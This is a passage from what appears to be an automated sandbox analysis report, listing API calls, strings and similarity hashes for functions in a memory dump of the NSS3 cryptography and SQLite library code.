sqlite3_mprintf.NSS3(snippet), ref: 6C6EEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C6EEFE4

Part of subcall function 6C7ADFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C685001,?,00000003,00000000), ref: 6C7ADFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C6EF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C6EF129
sqlite3_mprintf.NSS3(optimize), ref: 6C6EF1D1
sqlite3_free.NSS3(?), ref: 6C6EF368

Strings

simple, xrefs: 6C6EED79
snippet, xrefs: 6C6EEF05, 6C6EEF37, 6C6EEF7C
fts4, xrefs: 6C6EF2AD
offsets, xrefs: 6C6EEFAF, 6C6EEFDF, 6C6EF01F
fts3, xrefs: 6C6EF247
porter, xrefs: 6C6EED97
fts3_tokenizer, xrefs: 6C6EEE1A, 6C6EEEA8
fts3tokenize, xrefs: 6C6EF30F
optimize, xrefs: 6C6EF199, 6C6EF1CC, 6C6EF211
fts4aux, xrefs: 6C6EECF9
matchinfo, xrefs: 6C6EF04F, 6C6EF082, 6C6EF0C2, 6C6EF0F2, 6C6EF124, 6C6EF169
unicode61, xrefs: 6C6EEDB5

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: c43646a26ee29714a5b1b3719b35976759337c2ce77c2f8b3630693b2aed5342
Instruction ID: 3219a15f376c46de6b1fa55d4cf5b63479c828e79f613a4be3406a5acf56e809
Opcode Fuzzy Hash: c43646a26ee29714a5b1b3719b35976759337c2ce77c2f8b3630693b2aed5342
Instruction Fuzzy Hash: 7202EFB1B093004BE7149E71A88532B36B17BCA70CF14493ED95A87B41EB79E84AC7D7

Function 6C767C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C767C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C767C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C767D1E

Part of subcall function 6C767870: SECOID_FindOID_Util.NSS3(?,?,?,6C7691C5), ref: 6C76788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C767D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C767D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C767DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C767DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C767DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C767E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C767E58

Part of subcall function 6C767870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7691C5), ref: 6C7678BB
Part of subcall function 6C767870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7691C5), ref: 6C7678FA
Part of subcall function 6C767870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767930
Part of subcall function 6C767870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767951
Part of subcall function 6C767870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C767964
Part of subcall function 6C767870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C76797A
Part of subcall function 6C767870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C767988
Part of subcall function 6C767870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C767998
Part of subcall function 6C767870: free.MOZGLUE(00000000), ref: 6C7679A7
Part of subcall function 6C767870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C7679BB
Part of subcall function 6C767870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7691C5), ref: 6C7679CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C767E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C767F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C767F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C767FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C767FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C768038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C768050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C768093
SECOID_FindOID_Util.NSS3 ref: 6C767F29

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C768072
SECOID_FindOID_Util.NSS3 ref: 6C7680F5

Part of subcall function 6C76BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C76800A,00000000,?,00000000,?), ref: 6C76BC3F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 91c65418dad43efe543e8f34f10c2a82a25f04a078d2776b5488d2dca6c59d19
Instruction ID: 016a8a657461f14cc085cd2d06c5452dfeb419c295a26b7bed5279a457cf1205
Opcode Fuzzy Hash: 91c65418dad43efe543e8f34f10c2a82a25f04a078d2776b5488d2dca6c59d19
Instruction Fuzzy Hash: F2E18D706083009FE700CF2ACA84B5A77E5AF45358F144A2DEC9A9BF51E732EC49CB52

Function 6C6F1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C6F1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C6F1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C6F1CA1
GetLengthSid.ADVAPI32(?), ref: 6C6F1CA9
malloc.MOZGLUE(00000000), ref: 6C6F1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6F1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C6F1CE4
GetLengthSid.ADVAPI32(?), ref: 6C6F1CEC
malloc.MOZGLUE(00000000), ref: 6C6F1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6F1D0F
CloseHandle.KERNEL32(?), ref: 6C6F1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C6F1D4D
GetLastError.KERNEL32 ref: 6C6F1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C6F1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C6F1D7A

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 7cd3588a83c7830a7f3c944067765eac9367515ce4d62f4514023b7a606ad78f
Instruction ID: c9c67f6a7dbdba82e083952cb8650f053560376e6e178666f45bc1ba0681d708
Opcode Fuzzy Hash: 7cd3588a83c7830a7f3c944067765eac9367515ce4d62f4514023b7a606ad78f
Instruction Fuzzy Hash: AA3192F5A00218AFEB61AF64CC48BAA7BB8FF4E348F404075F60892211E7745994CFA5

Function 6C6F3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6F3DFB
__allrem.LIBCMT ref: 6C6F3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6F4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F415F
__allrem.LIBCMT ref: 6C6F416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F42AB
__allrem.LIBCMT ref: 6C6F42B7

Strings

%02d, xrefs: 6C6F4086
%03d, xrefs: 6C6F42E8
%04d, xrefs: 6C6F407B
%lld, xrefs: 6C6F3FB2

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: de7f5d1759d35748198da2c5770341f609e3d3a9c776c718a807dccf9fb0f714
Instruction ID: 120dbc4a7686a76f40bc7eff57aa740424709a595186c60050be86d3a0dcb47b
Opcode Fuzzy Hash: de7f5d1759d35748198da2c5770341f609e3d3a9c776c718a807dccf9fb0f714
Instruction Fuzzy Hash: BAF14471A087409FE315CF38C941AABB7F6AF86308F148A2DF4A597B51E770D486CB46

Function 6C6FEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FEF63

Part of subcall function 6C7087D0: PORT_NewArena_Util.NSS3(00000800,6C6FEF74,00000000), ref: 6C7087E8
Part of subcall function 6C7087D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C6FEF74,00000000), ref: 6C7087FD
Part of subcall function 6C7087D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C70884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C6FF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C6FF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C6FF374
PL_strcasecmp.NSS3(6C842FD4,?), ref: 6C6FF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C6FF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6FF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6FF67D
CERT_DestroyName.NSS3(?), ref: 6C6FF68B

Part of subcall function 6C708320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C708338
Part of subcall function 6C708320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C708364
Part of subcall function 6C708320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C70838E
Part of subcall function 6C708320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7083A5
Part of subcall function 6C708320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7083E3

Part of subcall function 6C7084C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7084D9
Part of subcall function 6C7084C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C708528

Part of subcall function 6C708900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C708955

Strings

oid., xrefs: 6C6FF2CF
", xrefs: 6C6FF21B
*, xrefs: 6C6FF3C6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 121d336f865bcbf89ab589d1b6cf9e78f1111f325846587463e96647fffeaa03
Instruction ID: cbac7df39ebfeee0abe1dd42bbff1e7c52040bee7b97a18fa860b776f388eb4c
Opcode Fuzzy Hash: 121d336f865bcbf89ab589d1b6cf9e78f1111f325846587463e96647fffeaa03
Instruction Fuzzy Hash: 1A22297260C3414BE714CE58C4903AEB7E7AB9531CF184A2EE4E587B91EB719807C78B

Function 6C6A1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C6A1FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C6A1F83
another row available, xrefs: 6C6A2287
unsupported file format, xrefs: 6C6A2188
table, xrefs: 6C6A1C8B
attached databases must use the same text encoding as main database, xrefs: 6C6A20CA
unknown error, xrefs: 6C6A2291
no more rows available, xrefs: 6C6A2264
sqlite_temp_master, xrefs: 6C6A1C5C
sqlite_master, xrefs: 6C6A1C61
abort due to ROLLBACK, xrefs: 6C6A2223

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: ab6f27c866c0714d8d24482bd15f8ab7e934ff8aba43479376d81436babba63d
Instruction ID: abce63c5b66c283eb9c1b49cb8c5e76a483dce90691475c42842902bd3b7df73
Opcode Fuzzy Hash: ab6f27c866c0714d8d24482bd15f8ab7e934ff8aba43479376d81436babba63d
Instruction Fuzzy Hash: 1E12DF70608341CFD710CF5AC484A5AB7F2BF85318F18896DE9998BB52D731EC4ACB96

Function 6C6C5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6C6C8708, 6C6C8737, 6C6C87B8
NOCASE, xrefs: 6C6C8703
2, xrefs: 6C6C65B4
u, xrefs: 6C6C81DA
-, xrefs: 6C6C6228
sub-select returns %d columns - expected %d, xrefs: 6C6C805F
-, xrefs: 6C6C62F9
ON clause references tables to its right, xrefs: 6C6C6BEC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 607cfa0ee0edb23f04f4707e08ac41d7cd941fb622c99077f45e176e8a117b8b
Instruction ID: 1355ca95f9088f391247275f0e4395968ca3ac67f77bd374143b88ce486d6bbd
Opcode Fuzzy Hash: 607cfa0ee0edb23f04f4707e08ac41d7cd941fb622c99077f45e176e8a117b8b
Instruction Fuzzy Hash: 534360747083418FD314CF19C490A6AB7E2FF89318F148A6DE8998B752D735E846CB9B

Function 6C76EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C76DAE2,?), ref: 6C76C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C76F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C83218C), ref: 6C76F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C76F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C76F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C76F210

Part of subcall function 6C7152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C76F1E9,?,00000000,?,?), ref: 6C7152F5
Part of subcall function 6C7152D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C71530F
Part of subcall function 6C7152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C715326
Part of subcall function 6C7152D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C76F1E9,?,00000000,?,?), ref: 6C715340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76F227

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C76F23E

Part of subcall function 6C75BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C76F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C76F3A8

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C76F3B3

Part of subcall function 6C712D20: PK11_DestroyObject.NSS3(?,?), ref: 6C712D3C
Part of subcall function 6C712D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C712D5F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f93af183c3cb8f545e690bbc294fd52aa113203ae0f023fb2aed19ff7ff68848
Instruction ID: f1921d62e5856ca82c9085cd785cfafc4ae1670a160467e76570c4ae976c5a11
Opcode Fuzzy Hash: f93af183c3cb8f545e690bbc294fd52aa113203ae0f023fb2aed19ff7ff68848
Instruction Fuzzy Hash: E0D16DB6E012059FDB14CFAADA84B9EB7B5EF48308F198039DD15A7B11EB31E805CB50

Function 6C79DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002,00000000,?,6C777FFA,00000002), ref: 6C79DE33

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C79D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C79DE74,6C777FFA,00000002,?,?,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002), ref: 6C79D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002,00000000,?,6C777FFA,00000002), ref: 6C79DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C79DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79E121
PK11_FreeSymKey.NSS3(?), ref: 6C79E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C79E195
PR_GetCurrentThread.NSS3 ref: 6C79E1FC

Part of subcall function 6C792460: PR_SetError.NSS3(FFFFE005,00000000,6C837379,00000002,?), ref: 6C792493

Strings

handshake data, xrefs: 6C79DFF7
early application data, xrefs: 6C79DFC9
application data, xrefs: 6C79DFE0
key, xrefs: 6C79E046

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 9c39a610cf1c14f0479755702fd2184680bdbb4a7970d4427a96fe486e366ac2
Instruction ID: f0f2e9e691e7cedb9a1a2c8474492eadb93c381a316ced67f55a42edb70a5cdc
Opcode Fuzzy Hash: 9c39a610cf1c14f0479755702fd2184680bdbb4a7970d4427a96fe486e366ac2
Instruction Fuzzy Hash: 14C11571A002099BDB14CF69EE84BEAB7B5FF08308F144138E9099BB51E331E954CBE1

Function 6C68ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C68EF98

Strings

database corruption, xrefs: 6C68F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68F483
%s at line %d of [%.10s], xrefs: 6C68F492

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
